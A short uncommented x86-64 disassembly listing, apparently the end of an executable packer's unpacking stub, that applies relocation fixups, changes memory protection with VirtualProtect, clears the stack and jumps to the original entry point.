add rbx, rax
mov rax, qword [rbx]
bswap rax
add rax, rsi
mov qword [rbx], rax
jmp 0x1405653da
and al, 0xf
shl eax, 0x10
mov ax, word [rdi]
add rdi, 2
or eax, eax
jne 0x1405653e9
mov eax, dword [rdi]
add rdi, 4
jmp 0x1405653e9
mov rbp, qword [sym.imp.KERNEL32.DLL_VirtualProtect]
lea rdi, [rsi - 0x1000]
mov ebx, 0x1000
push rax
mov r9, rsp
mov r8d, 4
mov rdx, rbx
mov rcx, rdi
sub rsp, 0x20
call rbp
lea rax, [rdi + 0x24f]
and byte [rax], 0x7f
and byte [rax + 0x28], 0x7f
lea r9, [rsp + 0x20]
mov r8, qword [r9]
mov rdx, rbx
mov rcx, rdi
call rbp
add rsp, 0x28
pop rbp
pop rdi
pop rsi
pop rbx
lea rax, [rsp - 0x80]
push 0
cmp rsp, rax
jne 0x140565466
sub rsp, 0xffffffffffffff80
jmp 0x140265db4